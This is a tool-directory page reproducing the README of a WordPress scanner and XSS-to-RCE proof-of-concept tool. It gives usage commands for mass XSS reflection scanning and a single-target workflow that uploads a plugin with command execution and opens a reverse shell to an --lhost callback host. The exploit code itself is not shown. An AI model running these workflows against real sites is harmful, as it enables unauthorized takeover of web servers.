Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
XSS2Shell-CVE-2026-64638 — WordPress security scanner that fingerprints versions, detects reflected XSS across multiple targets concurrently, and supports an authenticated XSS-to-RCE exploit workflow for authorized testing. | Kitploit
Tools/GitHubGitHub/mr-leonardogomes/xss2shell-cve-2026-64638
ReconnaissanceWeb Vulnerability ScannersExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubmr-leonardogomes/xss2shell-cve-2026-64638

XSS2Shell-CVE-2026-64638

WordPress security scanner that fingerprints versions, detects reflected XSS across multiple targets concurrently, and supports an authenticated XSS-to-RCE exploit workflow for authorized testing.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
171 month agoNot yet reviewed

🔍 @Mr-LeonardoGomes

💀 XSS2Shell-CVE-2026-64638

Versão 2026 Status Ativo PRs Bem-vindos Licença MIT
Feito com amor Bug Bounty 2026 Pentest Metodologia

Bug Hunting Methodology 2026

XSS2Shell Multi-Target Scanner

Developer: Credit: YogaGymn

PoC/scanning utility for authorized security testing on WordPress. The project contains an exploitation flow for a single target and a concurrent multi-target scan-only mode.

Important: Use this project only on WordPress installations you own or have explicit authorization to test. The multi-target scanner is intentionally limited to version identification and XSS reflection detection; it does not perform credential capture, plugin upload, or RCE against a list of targets.

Features

Single-target mode

The original script supports:

  • WordPress version identification.
  • XSS reflection detection.
  • auto, xss, and direct modes.
  • Direct WordPress authentication flow and plugin upload.
  • XSS chaining functionality present in the original PoC.
  • Optional callback/reverse-shell functionality present in the original PoC.

Multi-target mode

The added scanner supports:

  • Reading targets from a text file.
  • Removal of duplicate targets.
  • Concurrent scanning with ThreadPoolExecutor.
  • Configurable number of workers.
  • WordPress version detection.
  • XSS reflection detection.
  • Progress reporting.
  • Results saved in the same order as the input file.
  • Summary statistics.

The multi-target mode does not call the original RCE functions.

Requirements

  • Python 3.9+
  • requests

Install the dependency:

root@kitploit:~
python3 -m pip install requests

If your Linux distribution uses an externally managed Python environment, use a virtual environment:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

Installation

Clone or copy the project: Original exploit by yogaGymn

root@kitploit:~
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638

Or simply place:

root@kitploit:~
xss2shell.py

in your working directory.

Multi-Target Scanner

Create a file named targets.txt OU alvos.txt:

root@kitploit:~
https://example1.test
https://example2.test
https://example3.test

Comments and empty lines are ignored:

root@kitploit:~
# Authorized lab targets
https://example1.test

https://example2.test

Run the scanner:

root@kitploit:~
python3 xss2shell.py -i targets.txt

The default concurrency is 10 workers.

Change the concurrency

For example, use 20 workers:

root@kitploit:~
python3 xss2shell.py -i targets.txt --workers 20

For a small lab:

root@kitploit:~
python3 xss2shell.py -i targets.txt --workers 5

Do not choose an unnecessarily high number of workers, as this can increase connection load and trigger rate limits or defensive controls.

Change the output file

root@kitploit:~
python3 xss2shell.py \
  -i targets.txt \
  --workers 10 \
  --output results.txt

Example Output

root@kitploit:~
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE

[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)

=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected  : 1
Not detected  : 2
Errors        : 0
Results saved : scan_results.txt

Result format

The default scan_results.txt uses tab-separated fields:

root@kitploit:~
TARGET  WORDPRESS_VERSION  XSS_STATUS  XSS_DETAIL

Example:

root@kitploit:~
https://example1.test    6.8.2    XSS_NOT_DETECTED          ESCAPED
https://example2.test    6.7.1    XSS_REFLECTION_DETECTED   AREA_BYPASS

XSS status values


Status Meaning


XSS_REFLECTION_DETECTED The scanner detected the tested HTML reflection behavior. This is not by itself proof of RCE.

XSS_NOT_DETECTED The tested reflection was not detected.

ERROR The check encountered an exception.

XSS detail values

The scanner may report details such as:

  • RAW_HTML
  • AREA_BYPASS
  • ESCAPED
  • STRIPPED
  • NOT_REFLECTED

These values describe the response observed by the detection routine; they must be manually validated before considering a result as a confirmed vulnerability.

Single-target usage

The original script also supports single-target arguments.

Automatic mode

root@kitploit:~
python3 xss2shell.py \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

Direct mode

root@kitploit:~
python3 xss2shell.py \
  --mode direct \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

XSS mode

root@kitploit:~
python3 xss2shell.py \
  --mode xss \
  --lhost 192.0.2.10 \
  http://authorized-lab.test

The XSS/direct workflows may create or activate a plugin containing command execution functionality. Use them only in an authorized test environment.

CLI reference

root@kitploit:~
usage: xss2shell.py [-h]
       [-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
       [--mode {auto,xss,direct}]
       [-u USERNAME] [-p PASSWORD]
       [--lhost LHOST] [--lport LPORT]
       [--slug SLUG] [--callback-port CALLBACK_PORT]
       [--no-rev]
       [target]

Arguments


Argument Description


target Single target URL.

-i, --input File containing multiple targets.

--output Output file for multi-target results. Default: scan_results.txt.

--workers Number of concurrent workers. Default: 10.

--mode Original single-target mode: auto, xss, or direct.

-u, --username WordPress username for the original direct/fallback workflow.

-p, --password WordPress password for the original direct/fallback workflow.

--lhost Callback/reverse-shell host for the original PoC.

--lport Reverse-shell port. Default: 4444.

--slug Plugin slug. Default: xss2shell.

--callback-port Callback server port. Default: 9090.

--no-rev Skip reverse-shell triggering in the original workflow.

How concurrent scanning works

The multi-target mode uses the following Python resource:

root@kitploit:~
ThreadPoolExecutor

Each target is submitted as an independent scanning task:

root@kitploit:~
targets.txt
     |
     v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ... 
+----+----+----+----+
  |    |    |    |
  v    v    v    v
 WP   WP   WP   WP
 XSS  XSS  XSS  XSS
  |    |    |    |
  +----+----+----+
        |
        v
   scan_results.txt

Results are collected as tasks are completed, while the final output is generated following the original order of the targets.

Scope and Security

The multi-target mode is designed for authorized security assessments and lab environments.

Recommended workflow:

  1. Obtain written authorization.
  2. Include only authorized domains/IPs in the targets.txt file.
  3. Start with a reduced number of workers (execution processes).
  4. Analyze the scanner output.
  5. Manually validate relevant findings.
  6. Document evidence and remediation.

Do not use the scanner against third-party systems without permission.

Limitations

The scanner is not a complete vulnerability assessment tool.

In particular:

  • A detected HTML reflection does not automatically prove the existence of an exploitable XSS vulnerability.
  • The WordPress version obtained from public endpoints may be missing or incorrect.
  • The unknown status does not mean the target is vulnerable.
  • Network errors may produce incomplete results.
  • WAF/CDN behavior may affect detection.
  • The scanner does not determine exploitability or RCE potential in multi-target mode.
  • Results must be manually verified before reporting a vulnerability.

Project Structure

root@kitploit:~
.
├── xss2shell.py
├── targets.txt
└── scan_results.txt

License

There was no license information in the provided source code.

If this project is published publicly, add an explicit license file, such as LICENSE. This code is a further development of the original ZSecurity code.

Download Tool